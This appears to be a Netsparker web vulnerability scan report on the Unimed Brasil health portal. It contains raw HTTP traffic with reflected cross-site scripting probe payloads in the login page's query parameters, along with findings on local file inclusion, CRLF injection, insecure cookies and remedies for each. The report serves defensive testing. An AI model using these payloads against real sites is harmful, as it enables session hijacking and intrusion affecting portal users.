GET /pctr/layout/layout_2005/form_login.jsp?cd_canal='%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Enetsparker(0x002E21)%3C/script%3E&cd_secao=null&seguro=sim HTTP/1.1 Referer: http://www.unimed.com.br/pct/index.jsp?cd_canal=54593 Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_2; en-us) AppleWebKit/531.21.8 (KHTML, like Gecko) Version/4.0.4 Safari/531.21.10 Cache-Control: no-cache Host: www.unimed.com.br Cookie: JSESSIONID=F8BA8DAA8C7025EA3ED9FD61BFFA18B7.dcpr5033; JSESSIONID=D118DF4DAD9B17FCF693AB7EA859B09A.dcpr5033; JSESSIONID=EB79086C998D8A280896969706D1B054.dcpr5033; enquete_unimed_671=671 Accept-Encoding: gzip, deflate
Response
HTTP/1.1 200 OK Date: Tue, 15 Nov 2011 17:06:14 GMT Server: Apache/2.2.15 (Red Hat) X-Powered-By: Servlet 2.4; JBoss-4.0.2 (build: CVSTag=JBoss_4_0_2 date=200505022023)/Tomcat-5.5 Content-Length: 3355 Connection: close Content-Type: text/html;charset=ISO-8859-1
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html> <head> <title>Portal Nacional de Saúde :: Unimed do Brasil</title> <link href="/pctr/layout/layout_2005/css/topo.css" rel="stylesheet" type="text/css"> </head> <body style="background-color:transparent;" onload="javascript:setaFoco();"> <script language="JavaScript" type="text/javascript" src="/portal/comum/scripts/form.js"></script> <script language="JavaScript" type="text/javascript"> <!-- function validar() { if (validarPreenchimento(document.login.ds_login, "Por favor, digite seu login.")) { if (validarPreenchimento(document.login.ds_senha, "Por favor, digite sua senha.")) { document.login.submit(); } } }
function seguro() { var urlAtual = location.href; //alert("entrou111"); if (urlAtual.indexOf("&seguro=sim") == -1) { var endereco = "https://www.unimed.com.br/pctr/layout/layout_2005/form_login.jsp?cd_canal='"--></style></script><script>netsparker(0x002E21)</script>"; var cd_secao = "null"; if (cd_secao != "null") { endereco = endereco + "&cd_secao=null"; } endereco = endereco + "&seguro=sim"; document.location = endereco; window.focus();
} }
function setaFoco() { var urlAtual = location.href; //alert("entrou111"); if (urlAtual.indexOf("&seguro=sim") > -1) { document.login.ds_login.focus(); } }
function verCertificado() { var URL = "https://www.thawte.com/cgi/server/certdetails.exe?referer=https://www.unimed.com.br/"; var W = "500"; var H = "510"; var S = "no";
var Wpopupsize =(W/2); var Hpopupsize =(H/2); var CenterPopUpX = (screen.width/2)-(Wpopupsize); var CenterPopUpY = (screen.height/2)-(Hpopupsize); var pos = "left="+CenterPopUpX+",top="+CenterPopUpY; var desktop = window.open(URL, "preview", "width="+W+",height="+H+",toolbar=no,location=no,status=no,menubar=no,scrollbar s="+S+",resizable=no,"+pos);
<!-- abre limites --> <div id="limites"> <!-- ini topo -->
<script language="JavaScript" type="text/javascript" src="/portal/comum/scripts/form.js"></script> <script type="text/javascript"> <!-- $(document).ready(function(){ $("#frmbusca").submit(function(){ if( $("#query").val() == "Digite a palavra" ) { alert("Informe a palavra a ser buscada."); return false; } }); });
$(document).ready(function(){ setaFoco(); });
function validar() { if (validarPreenchimento(document.login.ds_login, "Por favor, digite seu login.")) { if (validarPreenchimento(document.login.ds_senha, "Por favor, digite sua senha.")) { document.login.submit(); } } }
function seguro() { var urlAtual = location.href; if (urlAtual.indexOf("&seguro=sim") == -1) { document.location = "https://www.unimed.com.br/pctr/layout/layout_2005/form_login.jsp?cd_canal=54593&cd_secao=60549&seguro=sim"; window.focus();
} }
function setaFoco() { var urlAtual = location.href; if (urlAtual.indexOf("&seguro=sim") > -1) { document.login.ds_login.focus(); } } //--> </script> <style>img { border: none; }</style>
<li class="mapasite"><a href="./index.jsp?cd_canal=54593&cd_secao=49104" title="Mapa do site">Mapa do site</a></li> <li><a href="./index.jsp?cd_canal=49146" title="Visitar o site da Unimed Brasil">Unimed Brasil</a></li> <br/> <li class="oquerss"> <a href="http://www.unimed.com.br/pct/index.jsp?cd_canal=54593&cd_secao=60549&codigoUnimed=69" title="O que é RSS ?">O que é RSS ?</a> </li> <li> <a href="http://www.unimed.com.br/pct/index.jsp?cd_canal=54593&cd_secao=61759&codigoUnimed=69" class="widget" title="Widget">Widget</a> </li>
</ul> <div id="informacoes"> <div class="esquerda"> <p>Para aumentar ou diminuir a visualização do conteúdo, segure a tecla "ctrl" e pressione + ou - no seu teclado.</p> <p class="centro"><img src="/pct/layout/2009-kit-site/imagens/acessibilidade_zoom.png" alt="Segure CTRL, aperte + para aumentar ou - para diminuir o tamanho da letra " /></p> </div> <div class="direita"> <p>Se preferir, use as teclas de atalho (acesskeys) para facilita sua navegação:</p> <ul class="instrucoes"> <li>No Internet Explorer segure "ALT" mais a tecla desejada;</li> <li>Em outros navegadores, segure "ALT + SHIFT" e a tecla correspondente.</li> </ul> <ul> <li><a href="#topo" title="Topo" accesskey="t">Alt + T - Topo</a></li> <li><a href="#frmbusca" title="Busca" accesskey="b">Alt + B - Busca</a></li> <li><a href="#navegacao" title="Navegação" accesskey="m">Alt + M - Menu</a></li> <li><a href="#conteudo" title="Conteúdo" accesskey="c">Alt + C - Conteúdo</a></li> </ul> </div> </div>
<!-- inserir o código para recuperar itens do logotipo da Unimed -->
<h2 ><a href="./index.jsp?cd_canal=54593" title="Voltar à página inicial"></a></h2>
<form id="frmbusca" action="./index.jsp?cd_canal=54593&cd_secao=49103" method="post"> <fieldset> <input type="hidden" name="cd_canal" value="54593" /> <label for="busca" class="lbbusca">Busca no site:</label> <div class="inputWrapper"> <input type="text" onfocus="javascript:limparNoFocus('Digite a palavra', 'text', this);" onblur="javascript:escreverNoBlur('Digite a palavra', 'text', this);" name="query" id="query" value="Digite a palavra" /> </div> <button type="submit">ok</button> </fieldset> </form>
<ul id="navegacao">
<li class="primeiro "><a href="./index.jsp?cd_canal=54593&cd_secao=54576" title="Visitar a seção Unimed">Unimed <span>Unimed</span></a></li>
<li ><a href="./index.jsp?cd_canal=54593&cd_secao=54785" title="Visitar a seção Atendimento">Atendimento <span>Atendimento</span></a></li>
<li ><a href="./index.jsp?cd_canal=54593&cd_secao=54586" title="Visitar a seção Serviços">Serviços <span>Serviços</span></a></li>
<li ><a href="./index.jsp?cd_canal=54593&cd_secao=63843" title="Visitar a seção HGU">HGU <span>HGU</span></a></li>
<li ><a href="./index.jsp?cd_canal=54593&cd_secao=49111" title="Visitar a seção Agência Unimed de Notícias">Agência Unimed de Notícias <span>Agência Unimed de Notícias</span></a></li>
<li class="primeiro"><a href="./index.jsp?cd_canal=54593&cd_secao=54576" title="Visitar a seção Unimed">Unimed</a></li>
<li><a href="./index.jsp?cd_canal=54593&cd_secao=54785" title="Visitar a seção Atendimento">Atendimento</a></li>
<li><a href="./index.jsp?cd_canal=54593&cd_secao=54586" title="Visitar a seção Serviços">Serviços</a></li>
<li><a href="./index.jsp?cd_canal=54593&cd_secao=63843" title="Visitar a seção HGU">HGU</a></li>
<li><a href="./index.jsp?cd_canal=54593&cd_secao=49111" title="Visitar a seção Agência Unimed de Notícias">Agência Unimed de Notícias</a></li>
<li><a href="./index.jsp?cd_canal=54593&cd_secao=54584" title="Visitar a seção Guia Médico">Guia Médico</a></li>
<li><a href="./index.jsp?cd_canal=54593&cd_secao=54587" title="Visitar a seção Ouvidoria">Ouvidoria</a></li>
</ul>
<p id="meta"> <strong><a href="./index.jsp?cd_canal=54593&cd_secao=49145&cd_materia=79038" title="Ver nossa política de privacidade">Política de privacidade</a></strong> <strong><a href="./index.jsp?cd_canal=54593&cd_secao=61703" title="Acessar a seção Termo de Uso">Termo de Uso</a></strong> 2011 Copyright - Todos os direitos reservados. </p> </div> <!-- fecha rodapé -->
GET /pctr/layout/layout_2005/form_login.jsp?cd_canal=54593&cd_secao='%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Enetsparker(0x002E34)%3C/script%3E&seguro=sim HTTP/1.1 Referer: http://www.unimed.com.br/pct/index.jsp?cd_canal=54593 Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_2; en-us) AppleWebKit/531.21.8 (KHTML, like Gecko) Version/4.0.4 Safari/531.21.10 Cache-Control: no-cache Host: www.unimed.com.br Cookie: JSESSIONID=F8BA8DAA8C7025EA3ED9FD61BFFA18B7.dcpr5033; JSESSIONID=E305F715B14D3FFB0B59CBCFD42B01C8.dcpr5034; JSESSIONID=44AC3A8F7E70B43EFA1CE7C0517CA78E.dcpr5034; enquete_unimed_671=671 Accept-Encoding: gzip, deflate
Response
HTTP/1.1 200 OK Date: Tue, 15 Nov 2011 17:06:17 GMT Server: Apache/2.2.15 (Red Hat) X-Powered-By: Servlet 2.4; JBoss-4.0.2 (build: CVSTag=JBoss_4_0_2 date=200505022023)/Tomcat-5.5 Content-Length: 3249 Connection: close Content-Type: text/html;charset=ISO-8859-1
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html> <head> <title>Portal Nacional de Saúde :: Unimed do Brasil</title> <link href="/pctr/layout/layout_2005/css/topo.css" rel="stylesheet" type="text/css"> </head> <body style="background-color:transparent;" onload="javascript:setaFoco();"> <script language="JavaScript" type="text/javascript" src="/portal/comum/scripts/form.js"></script> <script language="JavaScript" type="text/javascript"> <!-- function validar() { if (validarPreenchimento(document.login.ds_login, "Por favor, digite seu login.")) { if (validarPreenchimento(document.login.ds_senha, "Por favor, digite sua senha.")) { document.login.submit(); } } }
function seguro() { var urlAtual = location.href; //alert("entrou111"); if (urlAtual.indexOf("&seguro=sim") == -1) { var endereco = "https://www.unimed.com.br/pctr/layout/layout_2005/form_login.jsp?cd_canal=54593"; var cd_secao = "'"--></style></script><script>netsparker(0x002E34)</script>"; if (cd_secao != "null") { endereco = endereco + "&cd_secao='"--></style></script><script>netsparker(0x002E34)</script>"; } endereco = endereco + "&seguro=sim"; document.location = endereco; window.focus();
} }
function setaFoco() { var urlAtual = location.href; //alert("entrou111"); if (urlAtual.indexOf("&seguro=sim") > -1) { document.login.ds_login.focus(); } }
function verCertificado() { var URL = "https://www.thawte.com/cgi/server/certdetails.exe?referer=https://www.unimed.com.br/"; var W = "500"; var H = "510"; var S = "no";
var Wpopupsize =(W/2); var Hpopupsize =(H/2); var CenterPopUpX = (screen.width/2)-(Wpopupsize); var CenterPopUpY = (screen.height/2)-(Hpopupsize); var pos = "left="+CenterPopUpX+",top="+CenterPopUpY; var desktop = window.open(URL, "preview", "width="+W+",height="+H+",toolbar=no,location=no,status=no,menubar=no,scrollbar s="+S+",resizable=no,"+pos);
<!-- abre limites --> <div id="limites"> <!-- ini topo -->
<script language="JavaScript" type="text/javascript" src="/portal/comum/scripts/form.js"></script> <script type="text/javascript"> <!-- $(document).ready(function(){ $("#frmbusca").submit(function(){ if( $("#query").val() == "Digite a palavra" ) { alert("Informe a palavra a ser buscada."); return false; } }); });
$(document).ready(function(){ setaFoco(); });
function validar() { if (validarPreenchimento(document.login.ds_login, "Por favor, digite seu login.")) { if (validarPreenchimento(document.login.ds_senha, "Por favor, digite sua senha.")) { document.login.submit(); } } }
function seguro() { var urlAtual = location.href; if (urlAtual.indexOf("&seguro=sim") == -1) { document.location = "https://www.unimed.com.br/pctr/layout/layout_2005/form_login.jsp?cd_canal=54593&cd_secao=54585&seguro=sim"; window.focus();
} }
function setaFoco() { var urlAtual = location.href; if (urlAtual.indexOf("&seguro=sim") > -1) { document.login.ds_login.focus(); } } //--> </script> <style>img { border: none; }</style>
<li class="mapasite"><a href="./index.jsp?cd_canal=54593&cd_secao=49104" title="Mapa do site">Mapa do site</a></li> <li><a href="./index.jsp?cd_canal=49146" title="Visitar o site da Unimed Brasil">Unimed Brasil</a></li> <br/> <li class="oquerss"> <a href="http://www.unimed.com.br/pct/index.jsp?cd_canal=54593&cd_secao=60549&codigoUnimed=69" title="O que é RSS ?">O que é RSS ?</a> </li> <li> <a href="http://www.unimed.com.br/pct/index.jsp?cd_canal=54593&cd_secao=61759&codigoUnimed=69" class="widget" title="Widget">Widget</a> </li>
</ul> <div id="informacoes"> <div class="esquerda"> <p>Para aumentar ou diminuir a visualização do conteúdo, segure a tecla "ctrl" e pressione + ou - no seu teclado.</p> <p class="centro"><img src="/pct/layout/2009-kit-site/imagens/acessibilidade_zoom.png" alt="Segure CTRL, aperte + para aumentar ou - para diminuir o tamanho da letra " /></p> </div> <div class="direita"> <p>Se preferir, use as teclas de atalho (acesskeys) para facilita sua navegação:</p> <ul class="instrucoes"> <li>No Internet Explorer segure "ALT" mais a tecla desejada;</li> <li>Em outros navegadores, segure "ALT + SHIFT" e a tecla correspondente.</li> </ul> <ul> <li><a href="#topo" title="Topo" accesskey="t">Alt + T - Topo</a></li> <li><a href="#frmbusca" title="Busca" accesskey="b">Alt + B - Busca</a></li> <li><a href="#navegacao" title="Navegação" accesskey="m">Alt + M - Menu</a></li> <li><a href="#conteudo" title="Conteúdo" accesskey="c">Alt + C - Conteúdo</a></li> </ul> </div> </div>
<!-- inserir o código para recuperar itens do logotipo da Unimed -->
<h2 ><a href="./index.jsp?cd_canal=54593" title="Voltar à página inicial"></a></h2>
<form id="frmbusca" action="./index.jsp?cd_canal=54593&cd_secao=49103" method="post"> <fieldset> <input type="hidden" name="cd_canal" value="54593" /> <label for="busca" class="lbbusca">Busca no site:</label> <div class="inputWrapper"> <input type="text" onfocus="javascript:limparNoFocus('Digite a palavra', 'text', this);" onblur="javascript:escreverNoBlur('Digite a palavra', 'text', this);" name="query" id="query" value="Digite a palavra" /> </div> <button type="submit">ok</button> </fieldset> </form>
<ul id="navegacao">
<li class="primeiro "><a href="./index.jsp?cd_canal=54593&cd_secao=54576" title="Visitar a seção Unimed">Unimed <span>Unimed</span></a></li>
<li ><a href="./index.jsp?cd_canal=54593&cd_secao=54785" title="Visitar a seção Atendimento">Atendimento <span>Atendimento</span></a></li>
<li ><a href="./index.jsp?cd_canal=54593&cd_secao=54586" title="Visitar a seção Serviços">Serviços <span>Serviços</span></a></li>
<li ><a href="./index.jsp?cd_canal=54593&cd_secao=63843" title="Visitar a seção HGU">HGU <span>HGU</span></a></li>
<li ><a href="./index.jsp?cd_canal=54593&cd_secao=49111" title="Visitar a seção Agência Unimed de Notícias">Agência Unimed de Notícias <span>Agência Unimed de Notícias</span></a></li>
GET /pctr/layout/layout_2005/form_login.jsp?cd_canal='%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Enetsparker(0x00363C)%3C/script%3E HTTP/1.1 Referer: https://www.unimed.com.br/pctr/layout/layout_2005/form_login.jsp?cd_canal=54593&cd_secao=null&seguro=sim Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_2; en-us) AppleWebKit/531.21.8 (KHTML, like Gecko) Version/4.0.4 Safari/531.21.10 Cache-Control: no-cache Host: www.unimed.com.br Cookie: JSESSIONID=FEDD8DF0E6BF2D67C0C0025385A0CCF1.dcpr5033; JSESSIONID=F3315844F997DC69298AE150FCA3EA4E.dcpr5033; JSESSIONID=0F7FA6809E864C4410A04300A2A53869.dcpr5034; enquete_unimed_671=671 Accept-Encoding: gzip, deflate
Response
HTTP/1.1 200 OK Date: Tue, 15 Nov 2011 17:09:22 GMT Server: Apache/2.2.15 (Red Hat) X-Powered-By: Servlet 2.4; JBoss-4.0.2 (build: CVSTag=JBoss_4_0_2 date=200505022023)/Tomcat-5.5 Content-Length: 3355 Connection: close Content-Type: text/html;charset=ISO-8859-1
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html> <head> <title>Portal Nacional de Saúde :: Unimed do Brasil</title> <link href="/pctr/layout/layout_2005/css/topo.css" rel="stylesheet" type="text/css"> </head> <body style="background-color:transparent;" onload="javascript:setaFoco();"> <script language="JavaScript" type="text/javascript" src="/portal/comum/scripts/form.js"></script> <script language="JavaScript" type="text/javascript"> <!-- function validar() { if (validarPreenchimento(document.login.ds_login, "Por favor, digite seu login.")) { if (validarPreenchimento(document.login.ds_senha, "Por favor, digite sua senha.")) { document.login.submit(); } } }
function seguro() { var urlAtual = location.href; //alert("entrou111"); if (urlAtual.indexOf("&seguro=sim") == -1) { var endereco = "https://www.unimed.com.br/pctr/layout/layout_2005/form_login.jsp?cd_canal='"--></style></script><script>netsparker(0x00363C)</script>"; var cd_secao = "null"; if (cd_secao != "null") { endereco = endereco + "&cd_secao=null"; } endereco = endereco + "&seguro=sim"; document.location = endereco; window.focus();
} }
function setaFoco() { var urlAtual = location.href; //alert("entrou111"); if (urlAtual.indexOf("&seguro=sim") > -1) { document.login.ds_login.focus(); } }
function verCertificado() { var URL = "https://www.thawte.com/cgi/server/certdetails.exe?referer=https://www.unimed.com.br/"; var W = "500"; var H = "510"; var S = "no";
var Wpopupsize =(W/2); var Hpopupsize =(H/2); var CenterPopUpX = (screen.width/2)-(Wpopupsize); var CenterPopUpY = (screen.height/2)-(Hpopupsize); var pos = "left="+CenterPopUpX+",top="+CenterPopUpY; var desktop = window.open(URL, "preview", "width="+W+",height="+H+",toolbar=no,location=no,status=no,menubar=no,scrollbar s="+S+",resizable=no,"+pos);
A Cookie was not marked as secure and transmitted over HTTPS. This means the cookie could potentially be stolen by an attacker who can successfully intercept and decrypt the traffic or following a successful MITM (Man in the middle) attack.
Impact
This cookie will be transmitted over a HTTP connection, therefore if this cookie is important (such as a session cookie) an attacker might intercept it and hijack a victim's session. If the attacker can carry out a MITM attack, he/she can force victim to make a HTTP request to steal the cookie.
Actions to Take
See the remedy for solution.
Mark all cookies used within the application as secure. (If the cookie is not related to authentication or does not carry any personal information you do not have to mark it as secure.))
Remedy
Mark all cookies used within the application as secure.
Required Skills for Successful Exploitation
To exploit this issue, the attacker needs to be able to intercept traffic. This generally requires local access to the web server or victim's network. Attackers need to be understand layer 2, have physical access to systems either as way points for the traffic, or locally (have gained access to) to a system between the victim and the web server.
A Local File Inclusion (LFI) vulnerability occurs when a file from the target system is injected into the attacked server page. Netsparker confirmed this issue by reading some files from the target web server.
Impact
The impact can vary, based on the exploitation and the read permission of the web server user. Depending on these factors an attacker might carry out one or more of the following attacks:
Gather usernames via an "/etc/password" file
Harvest useful information from the log files such as "/apache/logs/error.log" or "/apache/logs/access.log"
Remotely execute commands by combining this vulnerability with some other attack vectors, such as file upload vulnerability or log injection.
Remedy
If possible, do not permit appending file paths directly. Make them hard-coded or selectable from a limited hard-coded path list via an index variable.
If you definitely need dynamic path concatenation, ensure that you only accept required characters such as "a-Z0-9" and do not allow "..", "/", "%00" (null byte) or any other similar unexpected characters.
Finally, it is important to limit the API to allow inclusion only from a directory and directories below it. This way you can ensure that any potential attack cannot perform a directory traversal attack.
Netsparker identified that a password field is served over HTTP.
Impact
If an attacker can carry out a MITM (Man in the middle) attack, he/she may be able to intercept traffic by injecting JavaScript code into this page or changing action of the HTTP code to steal the users password. Even though the target page is HTTPS, this does not protect the system against MITM attacks.
This issue is important as it negates the use of SSL as a privacy protection barrier.
Actions to Take
See the remedy for solution.
Move all of your critical forms to HTTPS and do not allow these pages to be served over HTTP.
Remedy
All sensitive data should be transferred over HTTPS rather than HTTP. Forms should be served over HTTPS. All aspects of the application that accept user input starting from the login process should only be served over HTTPS.
GET /pctr/layout/layout_2005/form_login.jsp?cd_canal=54593&cd_secao=null&seguro=sim HTTP/1.1 Referer: http://www.unimed.com.br/pct/index.jsp?cd_canal=54593 Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_2; en-us) AppleWebKit/531.21.8 (KHTML, like Gecko) Version/4.0.4 Safari/531.21.10 Cache-Control: no-cache Host: www.unimed.com.br Cookie: JSESSIONID=F6B94AFF3B7F744646891E37E67ECF39.dcpr5033; JSESSIONID=67AD8B8C6A84DA8FB1B0210276158033.dcpr5034 Accept-Encoding: gzip, deflate
Response
HTTP/1.1 200 OK Date: Tue, 15 Nov 2011 17:03:24 GMT Server: Apache/2.2.15 (Red Hat) X-Powered-By: Servlet 2.4; JBoss-4.0.2 (build: CVSTag=JBoss_4_0_2 date=200505022023)/Tomcat-5.5 Set-Cookie: JSESSIONID=4D9ADF8FD85951A9487B5445C56E49BB.dcpr5033; Path=/pctr Content-Length: 3139 Connection: close Content-Type: text/html;charset=ISO-8859-1
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html> <head> <title>Portal Nacional de Saúde :: Unimed do Brasil</title> <link href="/pctr/layout/layout_2005/css/topo.css" rel="stylesheet" type="text/css"> </head> <body style="background-color:transparent;" onload="javascript:setaFoco();"> <script language="JavaScript" type="text/javascript" src="/portal/comum/scripts/form.js"></script> <script language="JavaScript" type="text/javascript"> <!-- function validar() { if (validarPreenchimento(document.login.ds_login, "Por favor, digite seu login.")) { if (validarPreenchimento(document.login.ds_senha, "Por favor, digite sua senha.")) { document.login.submit(); } } }
function seguro() { var urlAtual = location.href; //alert("entrou111"); if (urlAtual.indexOf("&seguro=sim") == -1) { var endereco = "https://www.unimed.com.br/pctr/layout/layout_2005/form_login.jsp?cd_canal=54593"; var cd_secao = "null"; if (cd_secao != "null") { endereco = endereco + "&cd_secao=null"; } endereco = endereco + "&seguro=sim"; document.location = endereco; window.focus();
} }
function setaFoco() { var urlAtual = location.href; //alert("entrou111"); if (urlAtual.indexOf("&seguro=sim") > -1) { document.login.ds_login.focus(); } }
function verCertificado() { var URL = "https://www.thawte.com/cgi/server/certdetails.exe?referer=https://www.unimed.com.br/"; var W = "500"; var H = "510"; var S = "no";
var Wpopupsize =(W/2); var Hpopupsize =(H/2); var CenterPopUpX = (screen.width/2)-(Wpopupsize); var CenterPopUpY = (screen.height/2)-(Hpopupsize); var pos = "left="+CenterPopUpX+",top="+CenterPopUpY; var desktop = window.open(URL, "preview", "width="+W+",height="+H+",toolbar=no,location=no,status=no,menubar=no,scrollbar s="+S+",resizable=no,"+pos);
A CRLF (New line) injection in HTTP headers was identified. This means that the input goes into HTTP headers without proper input filtering.
Impact
Depending on the application. An attacker might carry out the following forms of attacks:
Cross-site Scripting attack which can lead to session hijacking
Session fixation attack by setting a new cookie, which can again lead to session hijacking
Actions to Take
See the remedy for solution.
Ensure the server security patches are up to date and that the current stable version of the software is in use.
Remedy
Do not allow newline characters in input. Where possible use strict white listing.
Required Skills for Successful Exploitation
Crafting the attack to exploit this issue is not a complex process. However most of the unsophisticated attackers will not know that such an attack is possible. Also an attacker needs to reach his victim by an e-mail or other similar method in order to entice them to visit the site or click upon a URL.
Netsparker identified Open Policy Crossdomain.xml file.
Impact
Open Policy Crossdomain.xml file allows other SWF files to make HTTP requests to your web server and see its response. This can be used for accessing one time tokens and CSRF nonces to bypass CSRF restrictions.
Remedy
Configure your Crossdomain.xml to prevent access from everywhere to your domain.
The Server responded with an HTTP status 500. This indicates that there is a server-side error. Reasons may vary. The behavior should be analysed carefully. If Netsparker is able to find a security issue in the same resource it will report this as a separate vulnerability.
Impact
The impact may vary depending on the condition. Generally this indicates poor coding practices, not enough error checking, sanitization and whitelisting. However there might be a bigger issue such as SQL Injection. If that's the case Netsparker will check for other possible issues and report them separately.
Remedy
Analyse this issue and review the application code in order to handle unexpected errors, this should be a generic practice which does not disclose further information upon an error. All errors should be handled server side only.
<!-- ini logo unimed --> <h1><a href="http://www.unimed.com.br/index.jsp"><img src="/portal/comum/imagens/novoportal/lgunimed_fdbranco.gif" border=0 /></a></h1> <!-- fim logo unimed -->
<!-- ini links --> <p>Relação dos links mais comuns no Portal Unimed:</p>
<ul> <li><a href="http://www.unimed.com.br/">Home do Portal</a></li> <li><a href="http://www.unimed.com.br/pct/index.jsp?cd_canal=49146&cd_secao=34346">Unimed no Brasil</a></li> <li><a href="http://www.unimed.com.br/pct/index.jsp?cd_canal=49146&cd_secao=34357">Saúde On-line</a></li> <li><a href="http://www.unimed.com.br/pct/index.jsp?cd_canal=49146&cd_secao=34347">Unimed mais próxima</a></li> <li><a href="http://www.unimed.com.br/pct/index.jsp?cd_canal=49146&cd_secao=34356">Guia Médico</a></li> <li><a href="http://www.unimed.com.br/pct/index.jsp?cd_canal=49146&cd_secao=34348">Fale Conosco</a></li> <li><a href="http://www.unimed.com.br/pct/index.jsp?cd_canal=49146&cd_secao=34360">Agência Unimed de Notícias</a></li> <li>ou</li> <li><a href="javascript:history.back()">volte uma página</a></li> </ul> <!-- fim links -->
</div> <!-- fim opcoes -->
<!-- ini texto --> <div class="texto">
<h2>Solicitação não executada.</h2>
<p>Desculpe, mas a ação solicitada não pôde ser executada. Aparentemente, os servidores do Portal Unimed não suportam a funcionalidade requerida para executar este tipo de solicitação.</p>
<p>Por favor, certifique-se de ter digitado corretamente cada parte do endereço da página e aguarde alguns instantes para tentar novamente.</p>
<h3>O problema persiste?</h3> <p>Caso você já tenha tentado novamente, mas continua encontrando esta página de aviso, você pode enviar um e-mail solicitando a verificação do problema.</p>
<p>Além do seu nome e e-mail para um eventual contato, descreva a sua intenção e o respectivo endereço de internet utilizado para isto.</p>
<p>Desta forma, você estará auxiliando nossos técnicos na verificação do problema e ajudando-nos a oferecer um serviço de qualidade a você e aos demais usuários e visitantes do Portal Unimed.</p>
"Auto Complete" was enabled in one or more of the form fields. These were either "password" fields or important fields such as "Credit Card".
Impact
Data entered in these fields will be cached by the browser. An attacker who can access the victim's browser could steal this information. This is especially important if the application is commonly used in shared computers such as cyber cafes or airport terminals.
Remedy
Add the attribute autocomplete="off" to the form tag or to individual "input" fields.
Actions to Take
See the remedy for the solution.
Find all instances of inputs which store private data and disable autocomplete. Fields which contain data such as "Credit Card" or "CCV" type data should not be cached. You can allow the application to cache usernames and remember passwords, however, in most cases this is not recommended.
Re-scan the application after addressing the identified issues to ensure that all of the fixes have been applied properly.
Required Skills for Successful Exploitation
Dumping all data from a browser can be fairly easy and there exist a number of automated tools to undertake this. Where the attacker cannot dump the data, he/she could still browse the recently visited websites and activate the auto-complete feature to see previously entered values.
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html> <head> <title>Portal Nacional de Saúde :: Unimed do Brasil</title> <link href="/pctr/layout/layout_2005/css/topo.css" rel="stylesheet" type="text/css"> </head> <body style="background-color:transparent;" onload="javascript:setaFoco();"> <script language="JavaScript" type="text/javascript" src="/portal/comum/scripts/form.js"></script> <script language="JavaScript" type="text/javascript"> <!-- function validar() { if (validarPreenchimento(document.login.ds_login, "Por favor, digite seu login.")) { if (validarPreenchimento(document.login.ds_senha, "Por favor, digite sua senha.")) { document.login.submit(); } } }
function seguro() { var urlAtual = location.href; //alert("entrou111"); if (urlAtual.indexOf("&seguro=sim") == -1) { var endereco = "https://www.unimed.com.br/pctr/layout/layout_2005/form_login.jsp?cd_canal=54593"; var cd_secao = "null"; if (cd_secao != "null") { endereco = endereco + "&cd_secao=null"; } endereco = endereco + "&seguro=sim"; document.location = endereco; window.focus();
} }
function setaFoco() { var urlAtual = location.href; //alert("entrou111"); if (urlAtual.indexOf("&seguro=sim") > -1) { document.login.ds_login.focus(); } }
function verCertificado() { var URL = "https://www.thawte.com/cgi/server/certdetails.exe?referer=https://www.unimed.com.br/"; var W = "500"; var H = "510"; var S = "no";
var Wpopupsize =(W/2); var Hpopupsize =(H/2); var CenterPopUpX = (screen.width/2)-(Wpopupsize); var CenterPopUpY = (screen.height/2)-(Hpopupsize); var pos = "left="+CenterPopUpX+",top="+CenterPopUpY; var desktop = window.open(URL, "preview", "width="+W+",height="+H+",toolbar=no,location=no,status=no,menubar=no,scrollbar s="+S+",resizable=no,"+pos);
Cookie was not marked as HTTPOnly. HTTPOnly cookies can not be read by client-side scripts therefore marking a cookie as HTTPOnly can provide an additional layer of protection against Cross-site Scripting attacks..
Impact
During a Cross-site Scripting attack an attacker might easily access cookies and hijack the victim's session.
Actions to Take
See the remedy for solution
Consider marking all of the cookies used by the application as HTTPOnly (After these changes javascript code will not able to read cookies.
Remedy
Mark the cookie as HTTPOnly. This will be an extra layer of defence against XSS. However this is not a silver bullet and will not protect the system against Cross-site Scripting attacks. An attacker can use a tool such as XSS Tunnel to bypass HTTPOnly protection.
Netsparker identified that the target web server is an Apache server. This was disclosed through the HTTP response. This information can help an attacker to gain a greater understanding of the systems in use and potentially develop further attacks targeted at the specific version of Apache.
Impact
An attacker can search for specific security vulnerabilities for the version of Apache identified within the SERVER header.
Remedy
Configure your web server to prevent information leakage from the SERVER header of its HTTP response.
